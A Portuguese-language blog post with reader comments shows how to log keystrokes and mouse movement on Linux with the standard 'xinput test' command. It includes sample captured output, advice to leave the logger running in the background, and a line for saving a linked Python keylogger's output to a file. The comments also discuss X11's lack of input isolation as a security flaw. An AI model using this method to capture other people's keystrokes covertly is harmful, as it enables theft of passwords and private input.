Como fazer um keylogger/mouse no linux ?

É bem simples, mais do que qualquer um pode imaginar… existe um comando chamado xinput, ele testa e configura dispositivos de entrada conectados ao Xorg, pois bem, para listar os devices conectados:

 

 

 

[liquuid@catalina ~]$ xinput list
⎡ Virtual core pointer                    	id=2	[master pointer  (3)]
⎜   ↳ Virtual core XTEST pointer              	id=4	[slave  pointer  (2)]
⎜   ↳ Microsoft  Microsoft Basic Optical Mouse v2.0 	id=10	[slave  pointer  (2)]
⎣ Virtual core keyboard                   	id=3	[master keyboard (2)]
    ↳ Virtual core XTEST keyboard             	id=5	[slave  keyboard (3)]
    ↳ Power Button                            	id=6	[slave  keyboard (3)]
    ↳ Power Button                            	id=7	[slave  keyboard (3)]
    ↳   USB Keyboard                          	id=8	[slave  keyboard (3)]
    ↳   USB Keyboard                          	id=9	[slave  keyboard (3)]
    ↳ cx88 IR (Prolink Pixelview MPEG         	id=11	[slave  keyboard (3)]

 

 

 

Isso mostra o ID do meu teclado, no caso o número 8, então o comando abaixo é suficiente para capturar tudo que eu digitar:

 

 

[liquuid@catalina ~]$ xinput  test 8
key release 36
key press   54
ckey release 54
key press   52
zkey press   53
xkey release 52
key release 53
key press   56
bkey release 56
key press   25
wkey release 25

 

 

Basta então deixar isso rodando em background e processar as teclas digitadas com mais calma depois.

Um exemplo de código para o keylogger pode ser encontrado aqui.

 

Para nossa felicidade da pra gravar o mouse também, basta usar :

[liquuid@catalina ~]$ xinput  test 10
motion a[0]=1046 a[1]=270
motion a[0]=1055 a[1]=269
motion a[0]=1063 a[1]=266
motion a[0]=1068 a[1]=264
motion a[0]=1070 a[1]=264
motion a[0]=1071 a[1]=263
motion a[0]=1072 a[1]=262
motion a[0]=1073 a[1]=261
motion a[0]=1074 a[1]=260
motion a[0]=1075 a[1]=259
motion a[0]=1075 a[1]=258
motion a[0]=1076 a[1]=257
motion a[0]=1077 a[1]=256
motion a[0]=1076 a[1]=256
motion a[0]=1075 a[1]=255
motion a[0]=1074 a[1]=255
motion a[0]=1073 a[1]=255
motion a[0]=1072 a[1]=255
motion a[0]=1071 a[1]=255
motion a[0]=1070 a[1]=255
motion a[0]=1069 a[1]=254
motion a[0]=1068 a[1]=253
button press   1
motion a[0]=1069 a[1]=252
motion a[0]=1071 a[1]=252
motion a[0]=1072 a[1]=252
motion a[0]=1073 a[1]=252
motion a[0]=1074 a[1]=253
motion a[0]=1076 a[1]=254
motion a[0]=1077 a[1]=254
motion a[0]=1078 a[1]=254
motion a[0]=1079 a[1]=254
motion a[0]=1080 a[1]=255
motion a[0]=1081 a[1]=256
motion a[0]=1083 a[1]=257
motion a[0]=1085 a[1]=258
motion a[0]=1086 a[1]=259
motion a[0]=1088 a[1]=260
motion a[0]=1089 a[1]=260
motion a[0]=1091 a[1]=262
motion a[0]=1092 a[1]=263
motion a[0]=1093 a[1]=264
motion a[0]=1094 a[1]=265
motion a[0]=1095 a[1]=265
motion a[0]=1096 a[1]=266
motion a[0]=1097 a[1]=267
motion a[0]=1098 a[1]=268
motion a[0]=1099 a[1]=269
motion a[0]=1100 a[1]=270
motion a[0]=1101 a[1]=271
motion a[0]=1102 a[1]=272
motion a[0]=1103 a[1]=272
motion a[0]=1105 a[1]=273
motion a[0]=1106 a[1]=274

 

Alguns encaram o xinput como uma mega falha de segurança e você caro leitor ?

About liquuid

Work on It
This entry was posted in linux and tagged , , . Bookmark the permalink.

4 Responses to Como fazer um keylogger/mouse no linux ?

  1. wille says:

    Isso é perigoso mesmo. E se eu alterar a permissão dele para ser executado apenas como root, fica seguro?

  2. liquuid says:

    Na real, imagino que vários programas parem de funcionar caso a permissão dele seja alterada. É um problema de arquitetura do Xorg, ele foi feito para permitir esse tipo de coisa. Ao meu ver, a melhor forma de tratar esse tipo de problema é o isolamento de processos + ou – como já acontece no iphone e no PS3 onde a comunicação entre processos só acontece atravez de um supervisor.

  3. Gostaria de saber como faço para usar o keylogger em python que foi passado no link, fiz um fork[1] que corrige um erro por falta da codificação na segunda linha do script, no mais a dúvida é como gerar um arquivo de saída com os dados.

    O seu artigo gerou além deste fork uma página no meu wiki[2] de comandos linux[3]

    1 – https://gist.github.com/955569
    2 – http://linuxdicas.wikispaces.com/xinput
    3 – http://linuxdicas.wikispaces.com/comandos-linux

  4. liquuid says:

    Tem uma variavel output no fim do código que pode ser salva com um simples:

    open(‘saida.txt’,'w’).write(output) por exemplo